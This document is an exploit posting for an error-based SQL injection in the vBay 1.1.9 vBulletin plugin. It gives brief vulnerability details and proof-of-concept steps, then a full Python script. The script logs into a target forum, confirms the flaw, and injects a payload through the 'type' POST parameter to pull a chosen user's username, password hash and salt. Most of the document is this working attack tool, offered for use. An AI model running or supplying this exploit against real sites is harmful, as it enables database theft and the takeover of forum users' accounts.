vBulletin vBay 11.9 SQL Injection

`#!/usr/bin/env python -W ignore::DeprecationWarning  
  
"""  
  
VBay <= 1.1.9 - Remote Error based SQL Injection  
  
~ Author: Dan UK  
~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599  
~ Date: 10/11/12  
  
DETAILS  
Among a couple of other unsanitized parameters used within an INSERT INTO statement  
on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this  
using error based sql injection, making it possible to grab anything the user wants  
from the vbulletin database (and any others if accessible).  
  
As said above, the affected file is /upload/vbay.php.  
On line 418, we can see the $vbulletin->input variable "type"  
being assigned with the datatype NO_HTML. Using this data type  
allows malicious attacks to still be executed.  
  
At line 448, it is used within the insert into statement,  
without any sanitization.  
  
  
POC  
- You will need to register an account.  
- Go to [site]/vbay.php?do=postauction.  
- Modify your post data using a tool such as live http headers, or setting it directly  
using a tool such as curl/wget to grab the source.  
- Set the value of "type=" to something that will cause an error, such as a single tick.  
Example: POST type='  
- If, when you view the source, you get a vbulletin error message surrounded within  
comments, then it's possible to go ahead. If not, blind is the way forward.  
  
If error based is possible for you, you could either just simply look at some tutorials  
and go from there, or run the script below which will grab the details for the user specified.  
  
Have fun.  
  
"""  
  
from optparse import OptionParser, OptionGroup  
from argparse import OPTIONAL  
import cookielib, urllib, urllib2, httplib  
import sys, md5, urlparse, re  
  
"""  
OPTION PARSER/USAGE  
"""  
usage = "./%prog [options]\n"  
usage += "-h or --help for more help."  
  
# Required options  
parser = OptionParser(usage=usage)  
parser.add_option("-u", dest="username",  
help="Working username to the target forum.")  
parser.add_option("-p", dest="password",  
help="Working password to the target forum.")  
parser.add_option("--host", dest="forumpath",  
help="FULL path to the vbulletin forum.")  
  
# Optional Options  
optional = OptionGroup(parser, "Optional arguments")  
optional.add_option("-f", dest="userid",  
help="User ID to grab. Default is 1.", metavar="USERID",  
default="1")  
optional.add_option("-s", dest="prefix",  
help="Set the prefix of the vBulletin forum\  
Default is null.", default="")  
optional.add_option("-g", "--grab-prefix", dest="grabprefix",  
help="Grab the tables prefix.", default=False,  
action="store_true")  
  
parser.add_option_group(optional)  
  
(options, args) = parser.parse_args()  
  
if not options.forumpath:  
parser.error('[-] No forum path given.')  
if not options.username:  
parser.error('[-] No username given.')  
if not options.password:  
parser.error('[-] No password given.')  
  
  
"""  
HEADER  
"""  
def Header():  
header = """  
# # # # # # # # # # # # # # # # # #  
# VBay <=1.1.9 SQL Injection 0day #  
# By Dan_UK #  
# # # # # # # # # # # # # # # # # #\n"""  
return header  
  
"""  
LOGIN AND EXTRACT NEEDED COOKIES  
"""  
def loginForum(forum, username, password):  
md5pass = md5.md5(password).hexdigest()  
postdata = urllib.urlencode({  
'do':'login',  
'vb_login_md5password':md5pass,  
'vb_login_username':username,  
'cookieuser':'1'  
})  
cookie_jar = cookielib.CookieJar()  
handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))  
handeler.open(forum + "login.php?do=login", postdata)  
  
for cookie in cookie_jar:  
if "bbsessionhash" in str(cookie):  
return cookie_jar  
  
  
"""  
CHECK VBAY EXISTS  
"""  
def get_server_status_code(forum):  
host, path = urlparse.urlparse(forum)[1:3]  
try:  
conn = httplib.HTTPConnection(host)  
conn.request('HEAD', path)  
return conn.getresponse().status  
except StandardError:  
return None  
  
def checkExists(forum):  
good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]  
return get_server_status_code(forum + "vbay.php") in good_codes  
  
"""  
CHECK DEBUG MODE ENABLED  
"""  
def checkVuln(forum, cookie_jar):  
payload = {  
"POST":  
urllib.urlencode({"type":"'"}),  
"SCRIPT":"vbay.php?do=postauction"  
}  
try:  
handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))  
resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])  
except urllib2.HTTPError as e:  
e_mesg = e.read()  
  
if "MySQL Error" in e_mesg:  
return True  
  
"""  
GRAB PREFIX  
"""  
def grabPrefix(forum, cookie_jar):  
payload = {  
"SQL":urllib.urlencode({"type":"'"}),  
"SCRIPT":"vbay.php?do=postauction"  
}  
  
try:  
handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))  
resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])  
except urllib2.HTTPError as e:  
e_mesg = e.read()  
  
prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)  
return prefix  
  
  
  
"""  
GRAB INFO  
"""  
def grabInfo(forum, cookie_jar, prefix, userid):  
# 0x2564656c696d312125 = "%delim1!%"  
payload = {  
"SQL":  
urllib.urlencode({  
"type":"' and (select 1 from (select count(*),concat((select(select concat(cast(concat(0x2564656c696d312125,COL_NAME,0x2564656c696d312125) as char),0x7e)) from " + str(prefix) + "user WHERE userid=" + str(userid) + " limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ''='",  
}),  
"COLS": ["username", "password", "salt"],  
"SCRIPT":"vbay.php?do=postauction"  
}  
  
info = []  
for col in payload["COLS"]:  
print "[!] Grabbing the %s" % col  
try:  
handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))  
resp = handler.open(forum + payload["SCRIPT"], payload["SQL"].replace("COL_NAME", col))  
except urllib2.HTTPError as e:  
e_mesg = e.read()  
info.append(e_mesg.split("%delim1!%")[1].strip("\n"))  
return info  
  
  
"""  
MAIN  
"""  
def main():  
username = options.username  
password = options.password  
forum = options.forumpath  
userid = options.userid  
prefix = options.prefix  
  
if forum.lower()[:7] != "http://":  
if forum.lower()[:8] == "https://":  
forum = forum.replace("https://", "http://")  
if forum[-1:] != "/":  
forum = forum + "/"  
  
print Header()  
  
print "[!] Trying to login to: " + forum  
if loginForum(forum, username, password):  
cookies = loginForum(forum, username, password)  
print "[+] Login works."  
else:  
print "[-] Login doesn't work. (" + username + ":" + password + ")"  
print "[-] Exiting."  
sys.exit()  
  
print "\n[!] Checking if vBay is installed.."  
if (checkExists(forum)):  
print "[+] vBay was found. Continuing with exploit."  
else:  
print "[-] vBay could no be found. (" + forum + "/vbay.php)"  
print "[-] Exiting."  
sys.exit()  
  
print "\n[!] Checking if debug mode is enabled.."  
if checkVuln(forum, cookies):  
print "[+] Debug mode is enabled, exploit is possible."  
  
if options.grabprefix == True:  
print "\n[!] Grabbing prefix."  
print "[+] Prefix found:" + grabPrefix(forum, cookies)   
sys.exit()  
  
  
print "\n[!] Grabbing info.\n"  
info = grabInfo(forum, cookies, prefix, userid)  
print "\n[+] Formatting for ease of view."  
print "\n\n[+] Username: " + info[0]  
print "[+] Password: " + info[1]  
print "[+] Salt: " + info[2]  
print "\n\nThanks for using my tool."  
  
  
if __name__ == "__main__":  
main()  
  
  
`